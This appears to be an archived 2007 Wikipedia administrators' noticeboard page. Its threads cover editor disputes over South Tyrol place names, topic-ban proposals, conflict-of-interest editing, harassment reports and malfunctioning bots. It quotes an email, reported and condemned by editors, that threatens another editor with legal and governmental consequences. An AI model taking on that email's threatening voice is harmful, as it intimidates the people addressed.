Misplaced Pages

• PS, isn't it funny that Rarelibra states to John that no legal threat was intended, but just above he again makes the same accusations of libel, slander, and defamation. Is this legal-verbage week on Misplaced Pages?! I think the message left on the talk page was a pretty-darn clear threat of some sort of legal action. o_O Rarelibra, you could at least be brave enough to be truthful in what your intentions were when you made that post. Was there something else you "meant to say" when you stated you are going to look into "lawful matters"? I'm more offended by this dodging of the truth, than the attack made regarding legal action. Icsunonove 06:33, 2 November 2007 (UTC)

User:Icsunonove

How is it that such postings as THIS, THIS (calling me a coward), THIS (questionable behavior), and many other examples can continue to come from this user? One can sum up probably HALF of his edits as personal attacks and questionable behavior slandering and insulting those who disagree with his edits and behavior.

Is there no admin around that can see this and help? Thank you. Rarelibra 05:57, 2 November 2007 (UTC)

PERHAPS you shouldn't have popped back into the Province of Bolzano-Bozen page and Francesco's page making all these claims again of Italo-centric and Italo-extremists. You complain after you insult people, and they make comments back at you? Interesting. Icsunonove 07:20, 2 November 2007 (UTC)

You have been removing other people's posts , been incivil and threatening legal action . I would be more concerned about your own behaviour before reporting others. пﮟოьεԻ 57 09:12, 2 November 2007 (UTC)

Indeed. --Checco 11:09, 2 November 2007 (UTC)

Well, PhJ and Rarelibra might not like me, and maybe a certain subset of users from Germany (Gryfindor, Matthead, etc.), but this is pretty messed up that this behavior of Rarelibra (and PhJ) turns into an indictment on my editing history. Ok, maybe Fut. Perf. sees a war and just wants to end it ASAP without seeing what happened first, but PhJ coming on here and making his comments below. Jeez, how I wish I hadn't visited Misplaced Pages a few days ago and witnessed the new bashing on the Bolzano-Bozen page... :-) Icsunonove 15:08, 2 November 2007 (UTC)

Topic ban proposed

This is an extremely long-standing conflict that has gone from lame edit war to festering personal hatred. The only solution I can see is that certain people need to be removed from this situation, and for good. I haven't made up my mind yet whether Rarelibra's behaviour is disruptive to a degree that requires sanctions (right now he seems to be simply angry, and understandably so to a certain degree.) The fault for the recent re-escalation I see squarely on Icsunove's side. A topic ban for him is the least we need. He is quite evidently unable or unwilling to work together constructively with the other editors on this matter.

Therefore, proposed community sanction: Icsunonove is banned, indefinitely, from making any edits relating to the question of geographical names in South Tyrol. This includes comments relating to these issues on talk pages and user talk pages, including his own, and comments about other contributors with whom he has been in conflict over them, including (but not limited to) Rarelibra, Gryffindor, and Pmanderson.

Violations of this ban to be met with escalating blocks, as usual. Other editors to be added to this or similar regulations as other admins see necessary. Fut.Perf. ☼ 06:56, 2 November 2007 (UTC)

"The fault for the recent re-escalation I see squarely on Icsunove's side. A topic ban for him is the least we need. He is quite evidently unable or unwilling to work together constructively with the other editors on this matter." Ok, if that isn't one of the most completely biased statements I've seen made in awhile, I don't know what is. I was one of the editors that helped finally bring a neutral solution to this page after ages of fighting. This was done, together with a group of editors that were German, English, and Italian speakers -- in an extremely civil manner. Then you decide to target a single user -- me? How convenient. I have no conflict with Pmanderson, it is Rarelibra that has a conflict with him as well; so please get that straight at least. I also suggest you should stay neutral in this discussion, since you are a native German speaker, and this has constantly been drawn into a useless debate between users from Germany and Italy. You then accuse me of being at fault in a re-escalation? Then you have not sufficiently investigated what re-instigated this new (and stupid) war. It was and . If you find edits I made earlier to those, please show me -- and then you can accuse me of re-starting this bickering. If not, my research shows it was Rarelibra and PhJ -- again. I have been one of those from day one that has pushed to get these pages at neutral titles, and the fighting on these pages has dropped significantly. There are just a few holdouts who like to come along and lambaste us (i.e., Gryffindor, PhJ, and Rarelibra). You want to topic ban some people for awhile? There ya go. Also, see below the highly threatening e-mail of legal action this user Rarelibra sent me. In the past he e-mailed me that Pmanderson had ulterior motives, so I told Pmanderson. Tough, he shouldn't of e-mailed that sort of language if he didn't want it made public. Regardless, Fut. Perf., that is really offensive what you have accused me of above and it is completely out of line that you are trying to isolate me from this topic, considering you yourself have been involved in this debate. Icsunonove 07:24, 2 November 2007 (UTC)

I'm open to extending the topic ban to Rarelibra (hadn't honestly seen the timing of the "italo-extremists" comments). If the e-mail is confirmed there'll of course have to be an indef block too unless the threat is retracted. For the record, I have never been involved in this dispute that I can remember, except in administrative function, and I'm as neutral as can be. The suggestion I couldn't be neutral because I'm German just goes to show how insane this situation has become. Fut.Perf. ☼ 07:39, 2 November 2007 (UTC)

You know what Fut. Perf., how about trying something else instead of getting people banned from topics they contribute to? I've worked a lot to get neutral solutions, and the vast majority of editors will agree we have solutions now that are fair to Italian/German sensitivities on the subject, and also reflect proper English usage. At one point the pages were simply dominated from a German point of view, basically a direct translation from German Misplaced Pages. I have a good idea with regards to this considering my ancestry is German and Italian. The situation is insane, I agree. But I feel it is fair for me, after what I have witnessed on Misplaced Pages with regards to this topic, to at least ask that you do consider any inherent biases you might have. If you feel absolutely neutral, then I'm proud of you -- seriously. :) I took quite a lot of time off from this subject, just concentrating on clean-up edits. I came back and saw all this hurtful writing again, and of course I have a reaction. I maybe wish I wouldn't of reacted so cynically, but it does get old! If you would like us all to take some time off from the BZ page, fine. But what you are asking for above, and pointing a finger at me (without even thoroughly investigating what happened).. you must know this is hurtful and insulting. I've put a lot of work into this region, a place where my ancestors come from in fact. Icsunonove 08:57, 2 November 2007 (UTC)

• One question I have though: How many times does an Editor get to make such major threats like this, and then magically retract them? Icsunonove 08:19, 2 November 2007 (UTC)

E-mail

I somehow had the feeling this guy would send me an e-mail, and look what I just received in through the hopper:

If you keep on putting down slanderous lies and defamations about me on Misplaced Pages, you are going to find yourself rather quickly in a situation that you won't be able to handle, NASA boy. You seem smart - so figure out what the punishment is for libel and defamation of character - and exactly how much it will cost you. I'm not personally attacking you on every page, so you best keep your mouth closed and concentrate on something positive.

Keep on pushing me and see what happens. You think I don't know a few people in government, NASA boy? Keep it up and see how far down the rabbit hole really goes.

You've been warned.

This was sent by Rarelibra (<email redacted>) through Misplaced Pages e-mail at 11/01/2007 10:43 PM. While I almost spit a mouthful of water at my monitor laughing at this banter, I thought this should be reported. If an Admin needs me to forward the header, IP, and text, please tell me where to send. If this isn't a legal threat involving Misplaced Pages, I don't what is. I'd love to see this guy actually go to a lawyer and tell him that this dude with the nickname X on Misplaced Pages told the editor with the nickname Y that "Rarelibra" said something bad about him, etc., etc. That is almost worth paying money to watch. This should go in the hall of shame. :-) Icsunonove 07:00, 2 November 2007 (UTC)

Is there some way of confirming Rarelibra sent this email? Anyone? Neil ☎ 10:11, 2 November 2007 (UTC)

Not in a non-adminly way; but if you change your email, it sends you a confirmation, and will not let you send mail until you do. So the person in question, even if they were pranking him, *does* need to have access to that email account (whether it's really rarelibra is to be determined. BTW, if I understand correctly, the IP information will just be Misplaced Pages's mailserv, and won't actually help (the return path on mail I've received from two users in the past few days is wiki@wikimedia.org. I don't know what timestamps are available to admins, but I bet confirmation of this needs to go through the Foundation. --Thespian 10:27, 2 November 2007 (UTC)

On further thought, on the off chance that the email wasn't from Rarelibra, but was somehow his email, I redacted the address, just in case. As I can't oversight, it will still be in the history if people need to look it up. --Thespian 10:55, 2 November 2007 (UTC)

Who knows, maybe this time he will actually just admit to it? Kinda doubt it though. Last time he made the excuse to John that his comments about bringing in matters of law obviously just meant Misplaced Pages Admins. Maybe that is what he means by "Government" this time? :-) Anyway, tell me what I can do to help verify. regards, Icsunonove 15:01, 2 November 2007 (UTC)

I have also received an abusive e-mail from an account which claims to be Rarelibra; I will forward it to any admin who requests it, and it can be compared to Icsunonove's. I am not in conflict with Icsunonove, whom I would count as one of the few editors on this subject who have hitherto been consistently civil; I say this although I do disagree with him. (My position on the substantive matter is actually closer to Rarelibra's, although I cannot concur with his reasons.) Certainly I would rather discuss the merits of the Italianizing position with Icsunonove than with some of its other advocates. Septentrionalis PMAnderson 19:24, 2 November 2007 (UTC)

I was just about to say that I agree with you maybe 50% of the time or less :), but at least I feel like I'm getting a rational, thoughtful and open-minded debate. Simply put, it makes me respect Sep as an editor. I completely admit I get overly emotional sometimes when this same group of editors comes in swinging every other month, and I then might make cynical replies that are not completely civil; but at least I apologize here and there. The last time I made such an admission, what did I get? PhJ saying "see! he confesses, so ban him!" Nice!! A lot of these folk have never appeared to be in the least regretful saying what they say, or making threats, etc. Anyway, all we need now is to have Gryffindor show up. He'll have plenty to say how I don't work well with others, drive editors (i.e., him) crazy, etc., etc. Regardless, showing up and seeing the other two bad mouth me as an "italo-extremist" to a new contributor.. it is really getting close to that last straw. I am an native English-speaking American! o_O Anyway, Sep, we can definitely discuss the topic some more on your talk page sometime. I need a bit of a break. later, Icsunonove 22:21, 2 November 2007 (UTC)

Yes, could you forward me the mail please? "fut" "dot" "perf" "at" "freenet" "dot" "de" . Fut.Perf. ☼ 20:29, 2 November 2007 (UTC)

Icsunonove vs. opponents

I can understand Rarelibra, even if he has really sent that e-mail (though such an e-mail couldn't be tolerated, but it has to be seen in the context). Rarelibra is definitely not the only one who is in trouble with Icsunonove (old username: Taalo), who seems to have a fine feeling for offending other users everywhere on Misplaced Pages to such an extent that he cannot be punished, but he still reaches his aim effectively hurting the others. It is a matter of fact that Icsunonove extensively writes off-topic comments obviously insulting other users. No wonder they get angry at him. -- PhJ 13:00, 2 November 2007 (UTC)

PhJ, et al. vs. opponents

PhJ, given that you, Rarelibra, and Gryffindor are the three who in particular keep coming back to lambaste/insult us, and disrupt these pages in general, I'd say you would of wanted to at least attempt to stay neutral. If you want to come and attack me, we can just as easily start digging up contributions that you have made in the past. I.e., we can repeat verbatim what you have said above about you three. In the end, it doesn't surprise me that you jump on the bandwagon here. Both you and Rarelibra have often found it necessary to go around and delete other editor's comments on talk pages. Both you guys placed POV tags repeatedly on the Province of Bolzano-Bozen page without giving a clear reason, and even against the advice of Admins such as Lar. Want some sort of revenge now? Go someplace else if that is what you need in life... I'd bet you'd love to get me banned, but this post to ANI was not an indictment on my editing history on Misplaced Pages. It was about legal threats made on Misplaced Pages. Also, it was initiated by new fighting instigated by you and Rarelibra with those initial posts you guys made on Francesco's talk page and the articles talk page. Icsunonove 14:57, 2 November 2007 (UTC)

So, where do we go from here?

Okay, so what's going to happen now? I think it has become clear that it is not safe to let Icsunonove and Rarelibra edit together in that area. I take it Rarelibra accepts to stay away from South Tyrol articles. In my view, Icsunonove needs to stay away too. Look at his contributions from 1 November; almost every single one of them contained a personal attack, a long line of taunting and innuendo, on a very personal level, and directed not only against Rarelibra but others too. There is just too much bad blood between these groups of contributors, the situation is so inflamed we need people to get out of it, in their own interest. Just stop editing the same articles and stop talking about each other.

I therefore renew my proposal: topic ban for both Rarelibra and Icsunonove. Can we get this done here on the community level, or do we need to go through Arbcom? Comments from other uninvolved admins would be welcome. Fut.Perf. ☼ 09:40, 3 November 2007 (UTC)

Rarelibra talk page

Wow, and when I was getting that feeling to just forget about this guy, thinking he might just be having a difficult time at the moment in real life, check out what he has put at the top of his talk page. We've gone from Italo-centric and Italo-extremist, to Italo-fascists! Talking with a certain editor over e-mail really seems to have gotten to this editor... wow! I guess someone can put anything they want on their talk page, but jeez, even racial slurs? It is funny we are all Italo-fascists, considering I am an American, Andreas and AldeBaer are Germans, we have various people from the UK who have said they have no Italian roots what-so-ever, and Sep is from somewhere in our Solar System, we think. The Italians who have been on here are Supparluca, Checco and Pcassetti, to name the most active recently, and these I've found to be genuinely good-hearted people. Fascists!?! Icsunonove 22:44, 2 November 2007 (UTC)

No amount of apology I offer - wholeheartedly - will most likely suffice in the light of the past few days. All I can say is, if it is a topic ban - I will fully accept this. Trust me, from hear on out - I will say this in full earnest - if anyone catches me on any of the controversial topics making trouble, ban me until Jesus comes back. As adults, we should be able to sort this out with civility. So I offer up a full apology to Pmanderson (whom I respect fully and sometimes bump elbows with), and I offer up a full apology to Icsunonove - who I ask of this, let us share the olive branch, go our separate ways, and contribute to wiki with positive and constructive vibes. I offer up no insults - it only fans the fire. I ask of you only the same. I was angered, yes. Because here I was all this time contributing to the growth and improvement of various articles in Pakistan, Japan, Romania, the list goes on and on... (working on Vietnam currently) and along comes an editor with what I saw as a perfect solution that would enable a regional article and a provincial article (as exists in many countries). I simply do not like the blog-like off-topic insulting type of banter, and it got to me at a time when, in my personal life, I am at a stress factor of 10 from various school, military, work, and home pressures - all of which culminate next year when I get the degree and retire from the service. I am humble in my approach - and hope you all see this.

I only wish to make maps and continue relying on wiki for accurate information in my quest throughout the various administrative levels of various countries. So once again, please accept my wholehearted apologies, one and all. Rarelibra 23:13, 2 November 2007 (UTC)

• Acknowledged with thanks. (This is the first I've seen this; you may want to write Icsunonove's talk page.) Septentrionalis PMAnderson 15:41, 3 November 2007 (UTC)

Admin advice needed for ? tagging vandalism

On the articles The Hamsters and Andy Billups anon IPs 86.151.171.40, 86.157.255.254, 84.45.220.163, 81.132.100.115 have been doing a repeated 'leap frog' bad faith and retaliatory {{notability}} tagging as a result of my involvement in the Drake Circus Shopping Centre article. I was also instrumental in getting Yiwentang blocked. He is actually at least 2 of the above IPs. As the Plymouth Uni Student's Union is seemingly involved as a source of vandals in this debacle the disruption seems to be escalating. I've requested page protection on the above 2 articles (though not on my userpage which has also been vandalised by these editors), but my problem is that I'm now coming up to 3RR with reverting their edits. What I need to know is if reverting these bad faith taggings is akin to reverting vandalism? I don't want to fall afoul of policy in my attempts to protect these articles (both of which easily meet WP:MUSIC). ---- WebHamster 21:56, 1 November 2007 (UTC)

Obvious bad-faith tagging *is* vandalism. 3RR does not apply. -Jéské 22:02, 1 November 2007 (UTC)

Thanks. More news in, now the legal threats begin. 86.157.255.254 just left a message on my user talk page making legal threats for the off-wiki website I maintain. Diff here. This IP I believe is blocked user Yiwentang ---- WebHamster 22:06, 1 November 2007 (UTC)

Blocked for a fortnight. -Jéské 22:13, 1 November 2007 (UTC)

(edit conflict)Add to that the threats made to Hoary on his talk page by 86.151.171.40. Diff here. ---- WebHamster 22:16, 1 November 2007 (UTC)

I'll check Hoary; I just extended Yiwen's block to 366 days. -Jéské 22:18, 1 November 2007 (UTC)

Blocked IP 2 for two weeks as well for the threat and what appears to be collusion to make threats, given his post there. -Jéské 22:21, 1 November 2007 (UTC)

Very many thanks. I can now get on with stuff that actually needs doing :) ---- WebHamster 22:25, 1 November 2007 (UTC)

I've filed a checkuser after The Hamsters was tagged again, on the rationale that a website used as a source is defamatory to Simon Cowell and that the Misplaced Pages article is a direct copy of said website. -Jéské 23:16, 1 November 2007 (UTC)

Could we get some more eyes on The Hamsters? -Jéské 23:37, 1 November 2007 (UTC)

Is there a problem with The Hamsters article? I should also note that The Hamsters website does not contain any defamation. Please be aware that there's a distinct legal difference between "defamation" and "common abuse and "parody". The latter two are quite legal, the former is unlawful. Likewise there ar no copyright violations on the external website, making cover versions of other people's material is quite legal and is standard in the music industry. Likewise I've gone to great pains to make sure that there is no crossover of material from the website to the article. I've made it quite clear on my User page of my interests related to the band. Similarly I'm also aware of WP:COI and make great efforts to make sure I don't contravene it. The article has already been subject to a WP:3PO after which I adjusted parts of the article accordingly. If there's anything else you would like me to address then please feel free to ask/suggest. ---- WebHamster 23:56, 1 November 2007 (UTC)

There is; one of the tags was an ad hominem attack against you for hosting a pic of Simon Cowell getting peed on. -Jéské 23:58, 1 November 2007 (UTC)

I'm not hosting anything. The website in question is an official website. I'm webmaster and put on the site whatever the band ask for therefore it's not me that's responsible. Likewise the website is not itself an attack website. The band are notorious for making humorous comments and points. The images in question have been on the website for nigh on 10 years. In that time there has not been a single complaint either officially or unofficially. It is not in my power to remove it. It's there due to the band's wishes. I suggest you look at the site as a whole rather than making a decision on one very small part. Please also remember that external sites do not have to conform to WP's article or User standards. They only have to comply with WP:EL. The site in question does not breach copyright, neither is it a blog, nor does it breech any of the conditions of WP:EL. ---- WebHamster 00:05, 2 November 2007 (UTC)

I've been removing the speedy tags for that reason. -Jéské 18:58, 2 November 2007 (UTC)

Review

A few minutes ago, I blocked 86.140.179.222 for trolling on my talkpage, Andy Billups (thru notability tags), etc. and for using Misplaced Pages as a vehicle to harass and bring disputes against WebHamster. Since I can be considered involved now, I would like other admins to weigh in on it. -Jéské 02:35, 2 November 2007 (UTC)

Fellowship of Friends

I blocked the IP address range belonging to the Fellowship of Friends headquarters because this address range was being used almost exclusively to edit Fellowship of Friends. I believed this to be a violation of WP:COI. A member of the Fellowship of Friends apparently contacted an WP:ARBCOM member and had the block lifted. That's fine, it wouldn't be the first time I've made a mistake here on the Misplaced Pages and I lifted the protection on the page as that was placed for COI reasons as well. Anyway, I'd appreciate some eyes on that article to insure the edits over the next little while remain neutral now that the Fellowship of Friends headquarters is once again able to edit the article. Thanks! --Yamla 22:31, 1 November 2007 (UTC)

• Wow, in places the conflict of interest is almost not glaringly obvious. They should stick to the Talk page, the article reads like an advert for much of its length. Guy (Help!) 23:01, 1 November 2007 (UTC)

Thanks to JzG for taking a look at this. The edit history of Fellowship of Friends appears to show some extreme examples of COI editing. If there was any admin attention to spare, and if there was a willingness to enforce abstention from editing by COI editors, there is lots that could be done. I note that the item for Fellowship of Friends has been open for some time over at Misplaced Pages:Conflict of interest/Noticeboard#Fellowship of Friends IP block due to COI and I'm not aware that any admins besides Yamla have participated. To get a flavor of the partisan edits, just perusing some of the responses to the COI report will give you an idea of the unusual logic involved. Critical information published by former members of the FOF group has been kept out of the article. I'd be happy to have neutral editors weigh the case for whether the critical info should be included, which is what would happen if the FOF members were restricted to the Talk page. EdJohnston 00:04, 2 November 2007 (UTC)

I agree, it needs a complete rewrite. I have stubbed it and left a note on the talk page. Guy (Help!) 00:19, 2 November 2007 (UTC)

it was also discussed here, but that got archived oddly quickly. But it has more of the same. --Thespian 11:32, 2 November 2007 (UTC)

Someone reverted the stub-ification of the article. I have no idea if the person who reverted it has any conflict-of-interest but would assume this is not the case. --Yamla 19:01, 2 November 2007 (UTC)

User: JuJube

I'd like to file a compliant against this user. I sent a reply to the wrong person who was Jujube. I thought JuJube was the person's main account but I was wrong . I was responding to an insult and was trying discretely and restrained, telling him basically I didn't appreciate being insulted and disappointed by having to be more careful in this community because of people like him. Jujube first response was a rude "who the hell are you?" When I told him I got the wrong person but at the same time didn't appreciate his rudeness, he responded with an even ruder "sorry you didn't reach Candyland. you probably shouldn't be surprised when people react harshly to being insulted." I had already told him I got the wrong person and his response was that since I got the wrong person, he reserves the right to be rude to me.

Just looked at the first couple history pages on his talk page and this is a repeated problem and I am not the only one who had a bad experience with him/her: http://en.wikipedia.org/search/?title=User_talk:JuJube&diff=167997856&oldid=167997681 This person has a history of being rude to people. There are civil and polite ways to work out differences and mistakes that happen, which Jujube doesn't follow. —Preceding unsigned comment added by Hardlyreared (talk • contribs) 01:10, 2 November 2007 (UTC)

Just to note, this user's only edits are to my talk page and to his own, and he has yet to leave a message to the "person" he actually wanted to message. I thought this person made an account just to troll me, and this report makes me more convinced of that. JuJube 01:17, 2 November 2007 (UTC)

This comment makes me more convinced. "Candyland is insulting to me because I'm diabetic"? JuJube 01:19, 2 November 2007 (UTC)

I've had a quick look - looks like a sock of another user JuJube has "offended" in the past. I'm assuming bad faith here. juJube has done nothing wrong from what i can see. Chase me ladies, I'm the Cavalry 01:20, 2 November 2007 (UTC)

Its kinda funny you say that. I got misdirected from the original person I meant to respond to because I got upset and then even more upset by your responses. If you see my most resent post on your page you will see why you touched a nerve with me. Of course you have no way of knowing given you don't know me but if you did, what you said would have been even more insulting. What the original person said was your typical garden variety homophobic insult. What you said unknowingly touched closer to home. Hardlyreared 01:22, 2 November 2007 (UTC)

So why haven't you left that person a message? This report's a waste of time for all involved. JuJube 01:26, 2 November 2007 (UTC)

Yes, another message about or to JuJube and the Hardlyreared account will be indefinitely blocked. —Wknight94 (talk) 01:32, 2 November 2007 (UTC)

User:Hardlyreared indef blocked by TigerShark for "obvious attempts at harassing". (I was going to suggest this myself based on the number and size of holes in the original story.) Sheffield Steel_stalk 15:54, 2 November 2007 (UTC)

Malfunctioning Bot

I have no idea where to report this kind of thing, but I think the WP 1.0 bot is malfunctioning, as it has made over 50 edits to this page within a five minute span, alternatively adding logs for November 1 and October 31. -- Scorpion 01:29, 2 November 2007 (UTC)

I have watched it for a bit and it definitely seems to be malfunctioning, apparently getting itself confused with the date order of edits. It is probably not doing damage that cannot be reversed, but I have erred on the side of caution and blocked it until the operator can have a look. TigerShark 01:53, 2 November 2007 (UTC)

The reason for the confusion is because two versions of the bot were running in parallel. I killed one of them, and will now unblock the bot (I'll keep an eye on it for a while to see how it is doing). I'll make sure this issue won't show up again. Oleg Alexandrov (talk) 02:52, 2 November 2007 (UTC)

That might have happened because someone ran the bot early and something weird happened. I don't think it's supposed officailly to run till tomorrow. Still, running it early is supposed to be alright. Wonder what happened--Phoenix-wiki (talk · contribs) 23:20, 2 November 2007 (UTC)

One bot instance was started automatically, the second one by me. I did not think they would interfere, I was wrong. I'll take more care from now on. Oleg Alexandrov (talk) 04:04, 3 November 2007 (UTC)

User:Violetriga and List of occultists

User:Violetriga has been unilaterally deleting List of occultists and replacing it with a redirect. Her stated concern with biographies of living persons is slightly eccentric, especially given that the list goes back to classical mythology. She has also removed one vandalism warning I sent from her user page; see also her remarks on Talk:List of occultists. User is an admin. - Smerdis of Tlön 03:42, 2 November 2007 (UTC)

Are there actually living people on that list? If so, her concerns are valid. -Jéské 04:09, 2 November 2007 (UTC)

There are some, or were some; I have not yet reverted her latest unilateral deletion of the entire page. But the majority of the contents were from figures categorized historically from mythological figures through the twentieth century. Most of the twentieth century figures were people who had published books in relevant fields, and can be confirmed through their own articles. The point being that even if there are concerns about individual entries involving living people, it would be relatively trivial to edit those out and leave the rest of the page intact. The page was organized chronologically by period. - Smerdis of Tlön 04:18, 2 November 2007 (UTC)

(ec) Yep, there were living people on the list. Yes, their inclusions weren't sourced. Yes, this is completely unacceptable per WP:BLP, so her actions are reasonable. In the first test case I picked, the word "occult" doesn't appear in the subject's article. And she wasn't actually deleting, just redirecting with history intact. So her actions were reasonable. I see that the page is already protected by another admin, fortunately at a BLP compliant version. Further discussion can take place at the list's talk page. GRBerry 04:21, 2 November 2007 (UTC)

Is it just me, or are there a ton of babies in that bathwater? BLP doesn't mean blank/delete entire articles when BLP only applies to a part of the article. -- Ned Scott 05:26, 2 November 2007 (UTC)

Quite right, of course, and that precise thinking, as GRBerry notes, now appears to have prevailed. Whether Violet's redirection, as against a removal simply of the parts of the article that were prospectively BLP-problematic, was reasonable is, of course, an entirely separate question, and one on the disposition of which I rather imagine I differ with GR , but I don't know that it's one that we need to bother addressing at present, since the issue is, at least in significant part, resolved. Joe 06:09, 2 November 2007 (UTC)

Can we look at the other side of things now? The actions of Ihcoyc (talk · contribs · blocks · protections · deletions · page moves · rights · RfA) were rather inappropriate:

1. Using admin rollback to undo an edit which clearly cited BLP as a reason for content removal
2. Templating me with a vandalism warning
3. Calling me a vandal on the talk page and later listing me at the vandalism noticeboard
4. Threatening me to not do it again or face an RFC

Not a very good way to handle things. violet/riga (t) 10:03, 2 November 2007 (UTC)

Inappropriate deletion of material is well-recognized enough as vandalism to be the subject of specific templates. It's what they're for. You continued to delete the entire body of the text, including those parts that obviously related to people that were no longer alive, and did not even bother to reply to my comment on the article's talk page after I reverted you the first time. I don't think I acted inappropriately. - Smerdis of Tlön 11:39, 2 November 2007 (UTC)

Smerdis, this is utter bullshit. Vandalism is a term we reserve for actions that can only possibly be interpreted as bad faith and without reason. Established users almost never do that. So we never call established users vandals. Period. If you genuinely don't understand why an established user has done something, you ask them. Templating established users is moronic in the extreme. It never helps. (BTW Brilliant to see violetriga on the side of the BLP angels - keep up the good work.)--Doc 11:54, 2 November 2007 (UTC)

Our policy on vandalism makes no exceptions for "established users." That said, it may have been overreaction. Still, responding on the talk page intelligibly after my first reversion (and first comment about it there) might have prevented this whole ruckus. - Smerdis of Tlön 18:56, 2 November 2007 (UTC)

I have 7500+ articles on my watchlist - sometimes I miss things, especially when something is added to a talk page a long time after the initial edit. If you had contacted me directly it would have been much better. violet/riga (t) 21:49, 2 November 2007 (UTC)

• I don't think anybody would accuse me of being one of Violetriga's fans, but in this instance I'd say that what Violet did was 100% correct per the letter and the spirit of policy, and the reversion was unacceptable for that reason, as well as unacceptably rude. This may, of course, have been an honest mistake, if so an apology is surely in order. Guy (Help!) 17:30, 2 November 2007 (UTC)
  • Her latest and most restrained revision removed all of the twentieth century occultists, including Aleister Crowley, who has been dead for sixty years, and a list of "alleged occultists" which runs from King Solomon to Doctor Faustus. Where in the letter and spirit of policy is this justified? Septentrionalis PMAnderson 20:17, 2 November 2007 (UTC)

• • • Certainly part of the spirit is "when in doubt, take it out". (The restrictions on deletion, as oppposed to editing, are more stringent.) With a reasonably long list for the 20th century, none of it sourced, "when in doubt, take it out" argues for taking everything out first, then readd specific ones as they are sourced. I note that not only the 20th century ones need sourcing; so do the ancient ones - but since it is safe to say that those from the 19th century and earlier are now dead (reincarnation theories not withstandind), fixing them isn't an urgent WP:BLP issue. GRBerry 01:16, 3 November 2007 (UTC)

User:Zorglbot DST issue

User:Zorglbot is not keeping correct daylight saving time. Please review the Revision history of Templates for deletion and you'll see it's run time changed by one hour this week. I reported the issue to the bot owner User:Schutz with suggested resolutions. I reported the issue on the Templates for deletion talk page. – Conrad T. Pino 07:00, 2 November 2007 (UTC)

Does it matter? --Carnildo 08:30, 2 November 2007 (UTC)

I believe the problem is not that the bot isn't keeping daylight savings time, but that you are. Misplaced Pages servers do not recognice daylight saving time. Someguy1221 09:02, 2 November 2007 (UTC)

Well, no, it's that Zorglbot used to edit at 00:00, but now edits at 01:00. But, per Carnildo, it's really not a huge deal -- it's mostly just archiving. Creating the new pages an hour late might makes things a little disorganized until it's fixed, but again, it's not a huge deal. -- RG 09:40, 2 November 2007 (UTC)

Not every country in the world is still on DST. UTC, for example, no longer is. Corvus cornix 21:45, 2 November 2007 (UTC)

Revert-only accounts

I (Nanshu) face slow but prolonged edit wars. I've came to think that we need admin intervention.

The articles concerned are Dongyi (talk), Wei Man (talk) and Jizi (talk). The users involved are:

• Ocleta (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Kuebie (talk · contribs · deleted contribs · logs · filter log · block user · block log)
• Korea history (talk · contribs · deleted contribs · logs · filter log · block user · block log)

Apparently these users are unhappy about my edits. But we are unable to find a compromise because they only revert to their favorite revisions. They don't join the discussions on the corresponding talk pages. (One exception was Korea history. He joined the discussion only once after I warned him/her at his/her user talk page . But he/she reverted again without leaving a comment.)

Among them, Ocleta edits no page other than the above-mentioned three articles. All but one edits by him/her are simple reverts and deletions. I suspect the sole purpose of this revert-only account is to track my edits. Similarly, almost all edits by Kuebie are reverts.

The edit wars continue at really long intervals (more than a week), but it's just because I'm not so active these days. Of course I don't like fruitless edit wars, but I have to revert at least Dongyi, otherwise my fair-use image will be deleted by a hardworking bot. I think it's time to ask admin for help in revolving the current deadlock. Thanks in advance. --Nanshu 13:56, 2 November 2007 (UTC)

I am sorry you're frustrated, but admins do not intervene to resolve content disputes. If this is a case of simple vandalism or disruptive edit warring, you haven't made that clear. You may wish to look through the procedures for dispute resolution and decide what avenue will best help end the conflict. Shell 15:15, 2 November 2007 (UTC)

Sorry if my point wasn't clear. I don't complain about content disputes here. My point is that the above-mentioned users seemingly have no intention to build a consensus through dialogue. They try to achieve their goals by mass reverts. So I have no way of resolving the conflicts other than seeking admin helps. To confirm my analysis, I mentioned their user contributions. Almost all edits by Ocleta and Kuebie are reverts (and they had never edited in the talk namespace). Doesn't it suffice to say they are disruptive editors?

I admit edit wars go very slowly but they last several months. They would be unusual because admins have tackled intense revert wars. But still, I think they violate the spirit of the 3RR. --Nanshu 00:04, 3 November 2007 (UTC)

At least Ocleta does appear to be a single-purpose account. — Carl (CBM · talk) 00:11, 3 November 2007 (UTC)

Disruption of Misplaced Pages:Wikiquette alerts by Rlevse

User:Rlevse is an administrator who has come barging into Misplaced Pages:Wikiquette alerts like a bull run amok in a china shop, entirely disrupting the process there. This is not a process in which Rlevse has ever before participated in its entire 2½ year history. Clearly he has no expertise in how it is supposed to work.

It is hard to imagine anything

1. more likely to sabotage what is intended to be an informal first step in a dispute resolution process
2. more likely to exacerbate this dispute
3. more likely to fan the flames and to create more hard feelings, and
4. more counterproductive to the spirit of cooperative editing
   

than what User:Rlevse did here.

Especially when

1. There is absolutely nothing at WQA instructing me to offer a response.
2. What is there, in fact, actively discourages such discussion, by saying "Avoid an extensive discussion of the problem or issue on this page" and "Do not continue your discussion in detail here".
3. The discussion, including any response from me, actually belongs where the issue arose (in this case, Talk:Kilogram), and User:Rlevse never even looked there.

Rlevse's actions, (and perhaps equally important or more so, the actions he failed to take) fly directly in the face of the spirit of this entire process.

But Rlevse's are not merely contrary to the spirit of this entire process. It is much more than that.

In fact, they are contrary to very black-letter rules of this process, as set out in a big honking box at the top of that page:

"This page is an early step in the Misplaced Pages Dispute Resolution Process. It is a non-binding noticeboard where users can report impolite, uncivil or other difficult communications with editors, to seek perspective, advice, informal mediation, or a referral to a more appropriate forum.

...

"Wikiquette Alerts depends on the help of interested editors to provide neutral viewpoints. Everyone is invited to participate in responding to alerts."

a "non-binding noticeboard"; and in the opening paragraph:

"Wikiquette alerts are an informal streamlined way to request perspective and help with difficult communications with other editors. This page is not part of the formal dispute resolution process, so it can be a good place to start if you are not sure where else to go. It is hoped that assistance from uninvolved editors can help to resolve conflicts before they escalate."

and further down the page:

"Responding to alerts is also a good way to learn more about Misplaced Pages policies and even more, about how to work with other users to calm situations without resorting to formal procedures."

and you can't get much clearer than without resorting to formal procedures. In other words, that would be inappropriate at this stage even if their had been any relevant discussion, unless based on new developments during that discussion.

At the very least, formal procedures require reference to some other dispute resolution process, and action in accordance with the rules governing that other process. Not actions contrary to the rules of this process.

If my participation on this page were important, and there is no evidence whatsoever that Rlevse know anything whatsoever about how this is supposed to work, then he should have invited me to come here and comment on it. An out-of-the-blue, totally undiscussed block, for not doing something which I am not in any way obliged to do, is not by any stretch of the imagination an appropriate response. To instead prevent any comment from me is about the most illogical, irresponsible action anyone could possibly imagine.

